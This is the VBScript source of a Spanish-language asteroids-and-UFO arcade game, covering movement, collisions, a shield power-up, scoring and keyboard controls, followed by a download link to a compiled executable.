'--------------------------------------------------------------------------------------Municion (objeto1)'
Dim direcYobjeto1, direcXobjeto1
Dim objeto1_PosY, objeto1_PosX
direcYobjeto1= 0 : direcXobjeto1 = 0
with objeto1.style
.position = "Absolute"
.top = 1500
.left = 500
.width = 50
.height = 50:end with
objeto1.title = 0
'--------------------------------------------------------------------------------------Escudo (objeto2)'
Dim direcYobjeto2, direcXobjeto2
Dim objeto2_PosY, objeto2_PosX
direcYobjeto2= 0 : direcXobjeto2 = 0
with objeto2.style
.position = "Absolute"
.width = 100
.height = 100
.top = 1000
.left = 1000:end with
objeto2.title = 1
'--------------------------------------------------------------------------------------------Panel_Puntos'
with Panel_Puntos.Style
.Position = "Absolute"
.Bottom = 50
.right = 50
.color = "#FF0040"
.fontsize = 60
End with
Public Sub Window_OnLoad()
End Sub

Public Sub Window_OnUnLoad()
End Sub

Public Sub Main()
PosY = cdbl(Limpiar(jugador1.style.top))
PosX = cdbl(Limpiar(jugador1.style.left))

misil0_PosY = cdbl(Limpiar(misil0.style.top))
misil0_PosX = cdbl(Limpiar(misil0.style.left))

asteroide0_PosY = Limpiar(asteroide0.style.top)
asteroide0_PosX = Limpiar(asteroide0.style.left)

asteroide1_PosY = Limpiar(asteroide1.style.top)
asteroide1_PosX = Limpiar(asteroide1.style.left)

asteroide2_PosY = Limpiar(asteroide2.style.top)
asteroide2_PosX = Limpiar(asteroide2.style.left)

asteroide3_PosY = Limpiar(asteroide3.style.top)
asteroide3_PosX = Limpiar(asteroide3.style.left)

asteroide4_PosY = Limpiar(asteroide4.style.top)
asteroide4_PosX = Limpiar(asteroide4.style.left)

asteroide5_PosY = Limpiar(asteroide5.style.top)
asteroide5_PosX = Limpiar(asteroide5.style.left)

asteroide6_PosY = Limpiar(asteroide6.style.top)
asteroide6_PosX = Limpiar(asteroide6.style.left)

asteroide7_PosY = Limpiar(asteroide7.style.top)
asteroide7_PosX = Limpiar(asteroide7.style.left)

asteroide8_PosY = Limpiar(asteroide8.style.top)
asteroide8_PosX = Limpiar(asteroide8.style.left)

asteroide9_PosY = Limpiar(asteroide9.style.top)
asteroide9_PosX = Limpiar(asteroide9.style.left)
                                         
objeto0_PosY = Limpiar(objeto0.style.top)
objeto0_PosX = Limpiar(objeto0.style.left)

objeto1_PosY = Limpiar(objeto1.style.top)
objeto1_PosX = Limpiar(objeto1.style.left)


objeto2_PosY = Limpiar(objeto2.style.top)
objeto2_PosX = Limpiar(objeto2.style.left)

ovni0_PosY = cdbl(Limpiar(ovni0.style.top))
ovni0_PosX = cdbl(Limpiar(ovni0.style.left))

ovni1_PosY = cdbl(Limpiar(ovni1.style.top))
ovni1_PosX = cdbl(Limpiar(ovni1.style.left))

ovni2_PosY = cdbl(Limpiar(ovni2.style.top))
ovni2_PosX = cdbl(Limpiar(ovni2.style.left))

ovni3_PosY = cdbl(Limpiar(ovni3.style.top))
ovni3_PosX = cdbl(Limpiar(ovni3.style.left))

ovni4_PosY = cdbl(Limpiar(ovni4.style.top))
ovni4_PosX = cdbl(Limpiar(ovni4.style.left))



Call Ovnis_IA()

Call UniversoEnAccion()

if Juego_e = 1 Then
PosY = Limpiar(jugador1.style.Top) : PosX = Limpiar(jugador1.style.left)
jugador1.style.Top = PosY + DY : jugador1.style.Left = PosX + DX
end if

'---------------------------------------------------------------------------------DIBUJAR OBJETOS'
if objeto0.Title > 0 Then
objeto0.style.top = objeto0_PosY + direcYobjeto0
objeto0.style.left = objeto0_PosX + direcXobjeto0
end if

if objeto1.Title > 0 Then
objeto1.style.top = objeto1_PosY + direcYobjeto1
objeto1.style.left = objeto1_PosX + direcXobjeto1
end if


if objeto2.Title > 0 Then
  if Protect_e = 0 then
objeto2.style.top = objeto2_PosY + direcYobjeto2
objeto2.style.left = objeto2_PosX + direcXobjeto2
end if
end if
'--------------------------------------------------------------------------------DIBUJAR ASTEROIDES'
asteroide0.style.top = asteroide0_PosY + direcYasteroide0
asteroide0.style.left = asteroide0_PosX + direcXasteroide0

asteroide1.style.top = asteroide1_PosY + direcYasteroide1
asteroide1.style.left = asteroide1_PosX + direcXasteroide1

asteroide2.style.top = asteroide2_PosY + direcYasteroide2
asteroide2.style.left = asteroide2_PosX + direcXasteroide2

asteroide3.style.top = asteroide3_PosY + direcYasteroide3
asteroide3.style.left = asteroide3_PosX + direcXasteroide3

asteroide4.style.top = asteroide4_PosY + direcYasteroide4
asteroide4.style.left = asteroide4_PosX + direcXasteroide4

asteroide5.style.top = asteroide5_PosY + direcYasteroide5
asteroide5.style.left = asteroide5_PosX + direcXasteroide5

asteroide6.style.top = asteroide6_PosY + direcYasteroide6
asteroide6.style.left = asteroide6_PosX + direcXasteroide6


asteroide7.style.top = asteroide7_PosY + direcYasteroide7
asteroide7.style.left = asteroide7_PosX + direcXasteroide7

asteroide8.style.top = asteroide8_PosY + direcYasteroide8
asteroide8.style.left = asteroide8_PosX + direcXasteroide8

asteroide9.style.top = asteroide9_PosY + direcYasteroide9
asteroide9.style.left = asteroide9_PosX + direcXasteroide9
'--------------------------------------------------------------------------------DIBUJAR OVNIS'
if ovni0.Title > 0 Then
ovni0.style.top = ovni0_PosY + direcYovni0
ovni0.style.left = ovni0_PosX + direcXovni0
end if
if ovni1.Title > 0 Then
ovni1.style.top = ovni1_PosY + direcYovni1
ovni1.style.left = ovni1_PosX + direcXovni1
end if
if ovni2.Title > 0 Then
ovni2.style.top = ovni2_PosY + direcYovni2
ovni2.style.left = ovni2_PosX + direcXovni2
end if
if ovni3.Title > 0 Then
ovni3.style.top = ovni3_PosY + direcYovni3
ovni3.style.left = ovni3_PosX + direcXovni3
end if
if ovni4.Title > 0 Then
ovni4.style.top = ovni4_PosY + direcYovni4
ovni4.style.left = ovni4_PosX + direcXovni4
end if
'---------------------------------------------------------------------------DIBUJAR MISIL1'
if Disparo_e = 1 Then
misil0.Style.Top = Limpiar(misil0.Style.Top) - (7)
   End if

if Limpiar(misil0.Style.Top) < (0) Then : Disparo_e = 0 : Call RestaurarMisil() : END IF

  '-------------------------------------------------------------------------DIBUJAR PROTECT'
if Protect_e = 1 then
  objeto2.style.top = Limpiar(jugador1.style.top) - 25
  objeto2.style.left = Limpiar(jugador1.style.left) - 25
  end if
'---------------------------------------------------------------------------------------Imprimir PUNTOS'
Panel_Puntos.InnerHTML = "<b>" & Puntos & "</b>"


'-----------------------------------------------------------------------------Coliciones Ateroides / Jugador1'
if Juego_e = 1 Then

  if Protect_e < 1 then

    if Coliciones(PosX,50,PosY,50,asteroide4_PosX,30,asteroide4_PosY,30) = "True" Then
Call Fuiste("asteroide")                                  'asteroide4 no entiendo que ***** te pasa?!¡?!'
   End if

    if Coliciones(PosX,50,PosY,50,asteroide0_PosX,30,asteroide0_PosY,30) = "True" Then
     Call Fuiste("asteroide") 
   End if

    if Coliciones(PosX,50,PosY,50,asteroide1_PosX,30,asteroide1_PosY,30) = "True" Then
    Call Fuiste("asteroide") 
   End if

    if Coliciones(PosX,50,PosY,50,asteroide2_PosX,30,asteroide2_PosY,30) = "True" Then
    Call Fuiste("asteroide") 
   End if

    if Coliciones(PosX,50,PosY,50,asteroide3_PosX,30,asteroide3_PosY,30) = "True" Then
    Call Fuiste("asteroide") 
    End if

     if Coliciones(PosX,50,PosY,50,asteroide5_PosX,30,asteroide5_PosY,30) = "True" Then
    Call Fuiste("asteroide") 
    End if

     if Coliciones(PosX,50,PosY,50,asteroide6_PosX,30,asteroide6_PosY,30) = "True" Then
    Call Fuiste("asteroide") 
    End if

     if Coliciones(PosX,50,PosY,50,asteroide7_PosX,30,asteroide7_PosY,30) = "True" Then
    Call Fuiste("asteroide") 
    End if

     if Coliciones(PosX,50,PosY,50,asteroide8_PosX,30,asteroide8_PosY,30) = "True" Then
    Call Fuiste("asteroide") 
    End if

     if Coliciones(PosX,50,PosY,50,asteroide9_PosX,30,asteroide9_PosY,30) = "True" Then
    Call Fuiste("asteroide") 
    End if
  end if
'--------------------------------------------------------------------------------------COLICIONES Jugador0 OVNIS'

if Coliciones(PosX,50,PosY,50,ovni0_PosX,30,ovni0_PosY,30) = "True" And ovni0.Title > 0 Then
  if Protect_e = 0 then
Call Fuiste("ovni")
else
ovni0.Src = "Imagenes/explocion.gif" : MusicaMaestro = Window.SetTimeOut("SonidosOvni.Src = ""Sonidos/explocion.wav""",1)  :  ovni0.Title = 0 : TimeOff = Window.SetTimeOut("Restaurar_ovni0()",1000)
end if
  End if


if Coliciones(PosX,50,PosY,50,ovni1_PosX,30,ovni1_PosY,30) = "True" And ovni1.Title > 0 Then
  if Protect_e = 0 then
Call Fuiste("ovni")
else
ovni1.Src = "Imagenes/explocion.gif" : MusicaMaestro = Window.SetTimeOut("SonidosOvni.Src = ""Sonidos/explocion.wav""",1)  :  ovni1.Title = 0 : TimeOff = Window.SetTimeOut("Restaurar_ovni1()",1000)
end if
  End if

  if Coliciones(PosX,50,PosY,50,ovni2_PosX,30,ovni2_PosY,30) = "True" And ovni2.Title > 0 Then
    if Protect_e = 0 then
Call Fuiste("ovni")
else
ovni2.Src = "Imagenes/explocion.gif" : MusicaMaestro = Window.SetTimeOut("SonidosOvni.Src = ""Sonidos/explocion.wav""",1)  :  ovni2.Title = 0 : TimeOff = Window.SetTimeOut("Restaurar_ovni2()",1000)
end if
  End if


  if Coliciones(PosX,50,PosY,50,ovni3_PosX,30,ovni3_PosY,30) = "True" And ovni3.Title > 0 Then
  if Protect_e = 0 then
Call Fuiste("ovni")
else
ovni3.Src = "Imagenes/explocion.gif" : MusicaMaestro = Window.SetTimeOut("SonidosOvni.Src = ""Sonidos/explocion.wav""",1)  :  ovni3.Title = 0 : TimeOff = Window.SetTimeOut("Restaurar_ovni3()",1000)
  End if
end if


  if Coliciones(PosX,50,PosY,50,ovni4_PosX,30,ovni4_PosY,30) = "True" And ovni4.Title > 0 Then
    if Protect_e = 0 then
Call Fuiste("ovni")
else
ovni4.Src = "Imagenes/explocion.gif" : MusicaMaestro = Window.SetTimeOut("SonidosOvni.Src = ""Sonidos/explocion.wav""",1)  :  ovni4.Title = 0 : TimeOff = Window.SetTimeOut("Restaurar_ovni4()",1000)
  End if
end if

end if '------------Protect IF'

'---------------------------------------------------------------------------------------COLICIONES MISIL0 OVNIS'
if Coliciones(misil0_PosX,30,misil0_PosY,50,ovni0_PosX,60,ovni0_PosY,35) = "True" And ovni0.Title > 0 Then
ovni0.Src = "Imagenes/explocion.gif" : MusicaMaestro = Window.SetTimeOut("SonidosOvni.Src = ""Sonidos/explocion.wav""",1)  :  ovni0.Title = 0 : Call RestaurarMisil() : TimeOff = Window.SetTimeOut("Restaurar_ovni0()",1000)
end if
if Coliciones(misil0_PosX,30,misil0_PosY,50,ovni1_PosX,60,ovni1_PosY,35) = "True" And ovni1.Title > 0 Then
ovni1.Src = "Imagenes/explocion.gif" : MusicaMaestro = Window.SetTimeOut("SonidosOvni.Src = ""Sonidos/explocion.wav""",1)  :  ovni1.Title = 0 : Call RestaurarMisil() : TimeOff = Window.SetTimeOut("Restaurar_ovni1()",1000)
end if
if Coliciones(misil0_PosX,30,misil0_PosY,50,ovni2_PosX,60,ovni2_PosY,35) = "True" And ovni2.Title > 0 Then
ovni2.Src = "Imagenes/explocion.gif" : MusicaMaestro = Window.SetTimeOut("SonidosOvni.Src = ""Sonidos/explocion.wav""",1)  :  ovni2.Title = 0 : Call RestaurarMisil() : TimeOff = Window.SetTimeOut("Restaurar_ovni2()",1000)
end if
if Coliciones(misil0_PosX,30,misil0_PosY,50,ovni3_PosX,60,ovni3_PosY,35) = "True" And ovni3.Title > 0 Then
ovni3.Src = "Imagenes/explocion.gif" : MusicaMaestro = Window.SetTimeOut("SonidosOvni.Src = ""Sonidos/explocion.wav""",1)  :  ovni3.Title = 0 : Call RestaurarMisil() : TimeOff = Window.SetTimeOut("Restaurar_ovni3()",1000)
end if
if Coliciones(misil0_PosX,30,misil0_PosY,50,ovni4_PosX,60,ovni4_PosY,35) = "True" And ovni4.Title > 0 Then
ovni4.Src = "Imagenes/explocion.gif" : MusicaMaestro = Window.SetTimeOut("SonidosOvni.Src = ""Sonidos/explocion.wav""",1) :  ovni4.Title = 0 : Call RestaurarMisil() : TimeOff = Window.SetTimeOut("Restaurar_ovni4()",1000)
end if

'----------------------------------------colicion jugador1 escudo objeto2'
if Coliciones(PosX,50,PosY,50,objeto2_PosX,100,objeto2_PosY,100) = "True" And objeto2.Title = 1 Then
  if Protect_e = 0 Then
  SonidosObjeto.Src = "Sonidos/escudo.wav"
Protect_e = 1
DesProtecTime = window.setTimeOut("DesProtect()",10000)
  end if
  End if






End Sub

'-------------------------------------------------------UNIVERSO EN ACCION---------------------------------------'
Public Sub UniversoEnAccion()
'-----------------------------------asteroide0'
if Limpiar(asteroide0.style.top) > 1100 Then
  direcYasteroide0 = -int(RND*10)
End if
if (Limpiar(asteroide0.style.top)) =< 0  Then
llamar = window.setTimeOut("NegAsteroidY0",2000)
End if

if Limpiar(asteroide0.style.left) > 1300 Then
  direcXasteroide0 = -int(RND*10)
End if
if (Limpiar(asteroide0.style.left)) =< 0 Then
llamard = window.setTimeOut("NegAsteroidX0",2000)
End if
'-----------------------------------asteroide1'
if Limpiar(asteroide1.style.top) > 1100 Then
  direcYasteroide1 = -int(RND*10)
End if
if (Limpiar(asteroide1.style.top)) =< 0  Then
llamar = window.setTimeOut("NegAsteroidY1",2000)
End if

if Limpiar(asteroide1.style.left) > 1300 Then
  direcXasteroide1 = -int(RND*10)
End if
if (Limpiar(asteroide1.style.left)) =< 0 Then
llamard = window.setTimeOut("NegAsteroidX1",2000)
End if
'--------------------------------------------------asteroide2'
if Limpiar(asteroide2.style.top) > 1100 Then
  direcYasteroide2 = -int(RND*10)
End if
if (Limpiar(asteroide2.style.top)) =< 0  Then
llamar = window.setTimeOut("NegAsteroidY2",2000)
End if

if Limpiar(asteroide2.style.left) > 1300 Then
  direcXasteroide2 = -int(RND*10)
End if
if (Limpiar(asteroide2.style.left)) =< 0 Then
llamard = window.setTimeOut("NegAsteroidX2",2000)
End if
'-----------------------------------------------------asteroide3'
if Limpiar(asteroide3.style.top) > 1100 Then
  direcYasteroide3 = -int(RND*10)
End if
if (Limpiar(asteroide3.style.top)) =< 0  Then
llamar = window.setTimeOut("NegAsteroidY3",2000)
End if

if Limpiar(asteroide3.style.left) > 1300 Then
  direcXasteroide3 = -int(RND*10)
End if
if (Limpiar(asteroide3.style.left)) =< 0 Then
llamard = window.setTimeOut("NegAsteroidX3",2000)
End if
'-------------------------------------------------------asteroide4'
if Limpiar(asteroide4.style.top) > 1100 Then
  direcYasteroide4 = -int(RND*10)
End if
if (Limpiar(asteroide4.style.top)) =< 0  Then
llamar = window.setTimeOut("NegAsteroidY4",2000)
End if

if Limpiar(asteroide4.style.left) > 1300 Then
  direcXasteroide4 = -int(RND*10)
End if
if (Limpiar(asteroide4.style.left)) =< 0 Then
llamard = window.setTimeOut("NegAsteroidX4",2000)
End if
'-------------------------------------------------------asteroide5'
if Limpiar(asteroide5.style.top) > 1100 Then
  direcYasteroide5 = -int(RND*10)
End if
if (Limpiar(asteroide5.style.top)) =< 0  Then
llamar = window.setTimeOut("NegAsteroidY5",2000)
End if

if Limpiar(asteroide5.style.left) > 1300 Then
  direcXasteroide5 = -int(RND*10)
End if
if (Limpiar(asteroide5.style.left)) =< 0 Then
llamard = window.setTimeOut("NegAsteroidX5",2000)
End if
'-------------------------------------------------------asteroide6'
if Limpiar(asteroide6.style.top) > 1100 Then
  direcYasteroide6 = -int(RND*10)
End if
if (Limpiar(asteroide6.style.top)) =< 0  Then
llamar = window.setTimeOut("NegAsteroidY6",2000)
End if

if Limpiar(asteroide6.style.left) > 1300 Then
  direcXasteroide6 = -int(RND*10)
End if
if (Limpiar(asteroide6.style.left)) =< 0 Then
llamard = window.setTimeOut("NegAsteroidX6",2000)
End if
'-------------------------------------------------------asteroide7'
if Limpiar(asteroide7.style.top) > 1100 Then
  direcYasteroide7 = -int(RND*10)
End if
if (Limpiar(asteroide7.style.top)) =< 0  Then
llamar = window.setTimeOut("NegAsteroidY7",2000)
End if

if Limpiar(asteroide7.style.left) > 1300 Then
  direcXasteroide7 = -int(RND*10)
End if
if (Limpiar(asteroide7.style.left)) =< 0 Then
llamard = window.setTimeOut("NegAsteroidX7",2000)
End if
'-------------------------------------------------------asteroide8'
if Limpiar(asteroide8.style.top) > 1100 Then
  direcYasteroide8 = -int(RND*10)
End if
if (Limpiar(asteroide8.style.top)) =< 0  Then
llamar = window.setTimeOut("NegAsteroidY8",2000)
End if

if Limpiar(asteroide8.style.left) > 1300 Then
  direcXasteroide8 = -int(RND*10)
End if
if (Limpiar(asteroide8.style.left)) =< 0 Then
llamard = window.setTimeOut("NegAsteroidX8",2000)
End if
'-------------------------------------------------------asteroide9'
if Limpiar(asteroide9.style.top) > 1100 Then
  direcYasteroide9 = -int(RND*10)
End if
if (Limpiar(asteroide9.style.top)) =< 0  Then
llamar = window.setTimeOut("NegAsteroidY9",2000)
End if

if Limpiar(asteroide9.style.left) > 1300 Then
  direcXasteroide9 = -int(RND*10)
End if
if (Limpiar(asteroide9.style.left)) =< 0 Then
llamard = window.setTimeOut("NegAsteroidX9",2000)
End if
'----------------------------------------------------------objeto0'

if Limpiar(objeto0.style.top) > 2300 Then
  direcYobjeto0 = -int(RND*10)
End if
if (Limpiar(objeto0.style.top)) < 0  Then
llamar = window.setTimeOut("NegobjetoY0",4000)
End if

if Limpiar(objeto0.style.left) > 2300 Then
  direcXobjeto0 = -int(RND*10)
End if
if (Limpiar(objeto0.style.left)) =< 0 Then
llamard = window.setTimeOut("NegobjetoX0",4000)
End if

'-----------------------------------------------------------objeto1'
if Limpiar(objeto1.style.top) > 2200 Then
  direcYobjeto1 = -int(RND*10)
End if
if (Limpiar(objeto1.style.top)) =< 0  Then
llamar = window.setTimeOut("NegobjetoY1",4000)
End if

if Limpiar(objeto1.style.left) > 2300 Then
  direcXobjeto1 = -int(RND*10)
End if
if (Limpiar(objeto1.style.left)) =< 0 Then
llamard = window.setTimeOut("NegobjetoX1",4000)
End if

'----------------------------------------------------objeto2'
if Limpiar(objeto2.style.top) > 2000 Then
  direcYobjeto2 = -int(RND*5)
End if
if (Limpiar(objeto2.style.top)) =< 0  Then
llamar = window.setTimeOut("NegobjetoY2",4000)
End if

if Limpiar(objeto2.style.left) > 3000 Then
  direcXobjeto2 = -int(RND*5)
End if
if (Limpiar(objeto2.style.left)) =< 0 Then
llamard = window.setTimeOut("NegobjetoX2",4000)
End if
End Sub



Public Sub NegAsteroidY0
if Limpiar(asteroide0.style.top) > 0 Then
Exit Sub
Else
  asteroide0.style.top = 0
direcYasteroide0 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidX0
if Limpiar(asteroide0.style.left) > 0 Then
Exit Sub
Else
asteroide0.style.left = 0
direcXasteroide0 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidY1
if Limpiar(asteroide1.style.top) > 0 Then
Exit Sub
Else
  asteroide1.style.top = 0
direcYasteroide1 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidX1
if Limpiar(asteroide1.style.left) > 0 Then
Exit Sub
Else
asteroide1.style.left = 0
direcXasteroide1 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidY2
if Limpiar(asteroide2.style.top) > 0 Then
Exit Sub
Else
  asteroide2.style.top = 0
direcYasteroide2 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidX2
if Limpiar(asteroide2.style.left) > 0 Then
Exit Sub
Else
asteroide2.style.left = 0
direcXasteroide2 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidY3
if Limpiar(asteroide3.style.top) > 0 Then
Exit Sub
Else
  asteroide3.style.top = 0
direcYasteroide3 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidX3
if Limpiar(asteroide3.style.left) > 0 Then
Exit Sub
Else
asteroide3.style.left = 0
direcXasteroide3 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidY4
if Limpiar(asteroide4.style.top) > 0 Then
Exit Sub
Else
  asteroide4.style.top = 0
direcYasteroide4 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidX4
if Limpiar(asteroide4.style.left) > 0 Then
Exit Sub
Else
asteroide4.style.left = 0
direcXasteroide4 = int(RND*15)
End if
End Sub



Public Sub NegAsteroidY5
if Limpiar(asteroide5.style.top) > 0 Then
Exit Sub
Else
  asteroide5.style.top = 0
direcYasteroide5 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidX5
if Limpiar(asteroide5.style.left) > 0 Then
Exit Sub
Else
asteroide5.style.left = 0
direcXasteroide5 = int(RND*15)
End if
End Sub


Public Sub NegAsteroidY6
if Limpiar(asteroide6.style.top) > 0 Then
Exit Sub
Else
  asteroide6.style.top = 0
direcYasteroide6 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidX6
if Limpiar(asteroide6.style.left) > 0 Then
Exit Sub
Else
asteroide6.style.left = 0
direcXasteroide6 = int(RND*15)
End if
End Sub

Public Sub NegAsteroidY7
if Limpiar(asteroide4.style.top) > 0 Then
Exit Sub
Else
  asteroide7.style.top = 0
direcYasteroide7 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidX7
if Limpiar(asteroide7.style.left) > 0 Then
Exit Sub
Else
asteroide7.style.left = 0
direcXasteroide7 = int(RND*15)
End if
End Sub

Public Sub NegAsteroidY8
if Limpiar(asteroide8.style.top) > 0 Then
Exit Sub
Else
  asteroide8.style.top = 0
direcYasteroide8 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidX8
if Limpiar(asteroide8.style.left) > 0 Then
Exit Sub
Else
asteroide8.style.left = 0
direcXasteroide8 = int(RND*15)
End if
End Sub


Public Sub NegAsteroidY9
if Limpiar(asteroide9.style.top) > 0 Then
Exit Sub
Else
  asteroide9.style.top = 0
direcYasteroide9 = int(RND*15)
End if
End Sub
Public Sub NegAsteroidX9
if Limpiar(asteroide9.style.left) > 0 Then
Exit Sub
Else
asteroide9.style.left = 0
direcXasteroide9 = int(RND*15)
End if
End Sub


Public Sub NegobjetoY0
if Limpiar(objeto0.style.top) > 0 Then
Exit Sub
Else
  objeto0.style.top = 0
direcYobjeto0 = int(RND*15)
End if
End Sub
Public Sub NegobjetoX0
if Limpiar(objeto0.style.left) > 0 Then
Exit Sub
Else
objeto0.style.left = 0
direcXobjeto0 = int(RND*15)
End if
End Sub

Public Sub NegobjetoY1
if Limpiar(objeto1.style.top) > 0 Then
Exit Sub
Else
  objeto1.style.top = 0
direcYobjeto1 = int(RND*15)
End if
End Sub
Public Sub NegobjetoX1
if Limpiar(objeto1.style.left) > 0 Then
Exit Sub
Else
objeto1.style.left = 0
direcXobjeto1 = int(RND*15)
End if
End Sub

Public Sub NegobjetoY2
if Limpiar(objeto2.style.top) > 0 Then
Exit Sub
Else
  objeto2.style.top = 0
direcYobjeto2 = int(RND*15)
End if
End Sub
Public Sub NegobjetoX2
if Limpiar(objeto2.style.left) > 0 Then
Exit Sub
Else
objeto2.style.left = 0
direcXobjeto2 = int(RND*10)
End if
End Sub
'-----------------------------------------------------------------------------------------Inteligencia Artificial'
Public Sub Ovnis_IA()
if ovni0.title > 0 Then
  if PosY >= ovni0_PosY Then
            direcYovni0 = 4
         else
            direcYovni0 = -4
          end if

    if PosX >= ovni0_PosX Then
            direcXovni0 = 4
         else
            direcXovni0 =  -4
          end if
end if

if ovni1.title > 0 Then
  if PosY >= ovni1_PosY Then
            direcYovni1 = 4
         else
            direcYovni1 = -4
          end if

    if PosX >= ovni1_PosX Then
            direcXovni1 = 4
         else
            direcXovni1 =  -4
          end if
end if

if ovni2.title > 0 Then
  if PosY >=  ovni2_PosY Then
            direcYovni2 = 4
         else
            direcYovni2 = -4
          end if

    if PosX >= ovni2_PosX Then
            direcXovni2 = 4
         else
            direcXovni2 =  -4
          end if
end if

if ovni3.title > 0 Then
  if PosY >= ovni3_PosY Then
            direcYovni3 = 4
         else
            direcYovni3 = -4
          end if

    if PosX >= ovni3_PosX Then
            direcXovni3 = 4
         else
            direcXovni3 =  -4
          end if
end if

if ovni4.title > 0 Then
  if PosY >= ovni4_PosY Then
            direcYovni4 = 4
         else
            direcYovni4 = -4
          end if

    if PosX >= ovni4_PosX Then
            direcXovni4 = 4
         else
            direcXovni4 =  -4
          end if
end if
End SUb

Public Sub Desprotect()
MusicaMaestro = Window.SetTimeOut("SonidosObjeto.Src = ""Sonidos/drop.wav""",1)
Protect_e = 0 : objeto2.style.top = -100  : objeto2.style.left = int(rnd*2000) - int(rnd*6000)
End Sub

Public Sub Restaurar_ovni0()
ovni0.Style.Top = -int(rnd*500) : ovni0.Style.Left = int(rnd*500) : Puntos = Puntos + int(rnd*25)
ovni0.Title = 100
ovni0.Src = "Imagenes/ovni.gif"
End Sub
Public Sub Restaurar_ovni1()
ovni1.Style.Top = -int(rnd*500) : ovni1.Style.Left = int(rnd*500) : Puntos = Puntos + int(rnd*25)
ovni1.Title = 100
ovni1.Src = "Imagenes/ovni.gif"
End Sub
Public Sub Restaurar_ovni2()
ovni2.Style.Top = -int(rnd*500) : ovni2.Style.Left = int(rnd*500) : Puntos = Puntos + int(rnd*25)
ovni2.Title = 100
ovni2.Src = "Imagenes/ovni.gif"
End Sub
Public Sub Restaurar_ovni3()
ovni3.Style.Top = -int(rnd*500) : ovni3.Style.Left = int(rnd*500) : Puntos = Puntos + int(rnd*25)
ovni3.Title = 100
ovni3.Src = "Imagenes/ovni.gif"
End Sub
Public Sub Restaurar_ovni4()
ovni4.Style.Top = -int(rnd*500) : ovni4.Style.Left = int(rnd*500) : Puntos = Puntos + int(rnd*25)
ovni4.Title = 100
ovni4.Src = "Imagenes/ovni.gif"
End Sub

Sub Disparar()
if Juego_e <> 1 Then : Exit Sub : End if
If Disparo_e = 0 Or Limpiar(misil0.Style.Top) < 0 Then
misil0.Style.Top = jugador1.Style.Top : misil0.Style.Left = Limpiar(jugador1.Style.Left) + 15
Disparo_e = 1
MusicaMaestro = Window.SetTimeOut("SonidosMisil.Src = ""Sonidos/misil.wav""",1)
End If
End Sub
Sub RestaurarMisil()
Disparo_e = 0: Misil0.Style.Top = 999
End Sub




Public Sub Fuiste(quien)
Juego_e = 666
if quien = "ovni" then
jugador1.Src = "Imagenes/vacio.png"
SonidosJugador1.Src = "Sonidos/nuevovni.wav"
jugador1.style.top = -999
else
SonidosJugador1.Src = "Sonidos/explocion.wav"
jugador1.Src = "Imagenes/explocion.gif"
Secuestrar = Window.SetTimeOut("jugador1.style.top = 9999",1000)
end if
MusicaMaestro = Window.SetTimeOut("SonidosJugador1.Src = ""Sonidos/muerto.wav""",1000)


  MusicaMaestro = Window.SetTimeOut("SonidosAmbiente.Src = ""Sonidos/lanada.wav""",3000)
TimeOff = Window.SetTimeOut("Perdida()",1000)
End Sub
Sub Perdida()
jugador1.Src = "Imagenes/vacio.png"
End Sub






Public Sub Start()
if TimerUnoE = 0 Then
  TimerUnoE = 1
Logo1.Style.Display = "none" : Logo1.Src = "Imagenes/vacio.png" : Logo1.Style.Top = -9999
SonidosAmbiente.SRC = "Sonidos/ambiente2.wav"
SonidosJugador1.SRC = "Sonidos/nacimiento.wav"
jugador1.style.top = 500
jugador1.style.left = 500
direcYobjeto0 = 10 : direcXobjeto0 = 10
direcYobjeto1 = -int(RND*10) : direcXobjeto1 = -int(RND*10)
direcYobjeto2 = int(RND*10) : direcXobjeto2 = int(RND*10)
direcYasteroide0 = int(RND*15) : direcXasteroide0 = int(RND*15)
direcYasteroide1 = int(RND*15) : direcXasteroide1 = int(RND*15)
direcYasteroide2 = int(RND*15) : direcXasteroide2 = int(RND*15)
direcYasteroide3 = int(RND*15) : direcXasteroide3 = int(RND*15)
direcYasteroide4 = int(RND*15) : direcXasteroide4 = int(RND*15)
direcYasteroide5 = int(RND*15) : direcXasteroide5 = int(RND*15)
direcYasteroide6 = int(RND*15) : direcXasteroide6 = int(RND*15)
direcYasteroide7 = int(RND*15) : direcXasteroide7 = int(RND*15)
direcYasteroide8 = int(RND*15) : direcXasteroide8 = int(RND*15)
direcYasteroide9 = int(RND*15) : direcXasteroide9 = int(RND*15)
ovni0.Title = 1
ovni1.Title = 1
ovni2.Title = 1
ovni3.Title = 1
ovni4.Title = 1

Juego_e = 1
Tempo1 = Window.SetInterval("Main()",30)
End if
End Sub

Public Sub Pause()
if TimerUnoE = 1 Then
  TimerUnoE = 0
Window.ClearInterval(Timer1)
End if
End Sub

Public Sub Quit()
End Sub


Sub Document_OnKeyDown()
    Select case Window.Event.KeyCode
    case 13:Call Start()
    case 27:Call Pause()
    case 32:Call Disparar()
    case 38:DY=-6
    case 40:DY=6
    case 37:DX=-6
    case 39:DX=6
    End Select   
End Sub   
Sub Document_OnKeyUp()
    Select case  Window.Event.KeyCode
    case 38:if DY<>6 then DY=0
    case 40:if DY<>-6 then DY=0
    case 37:if DX<>6 then DX=0
    case 39:if DX<>-6 then DX=0
    End Select
End Sub 


Public Function Limpiar(s)
Limpiar = Replace(s,"px","")
End Function

Function Coliciones(PosXUno, AnchoUno, PosYUno, LargoUno,PosXDos, AnchoDos, PosYDos, LargoDos)
If  (Cdbl(PosXUno) + Cdbl(AnchoUno)) > (Cdbl(PosXDos))_
And (cdbl(PosXUno)) < (Cdbl(PosXDos) + Cdbl(AnchoDos))_
  And (cdbl(PosYUno) + cdbl(LargoUno)) > (cdbl(PosYDos))_
   And (cdbl(PosYUno)) < (cdbl(PosYDos) + Cdbl(AnchoDos)) Then
Coliciones = "True"
Else
Coliciones = "False"
End If
End Function
</Script>





Links

Ejecutable (exe): https://mega.nz/#!q0Mwxb4K

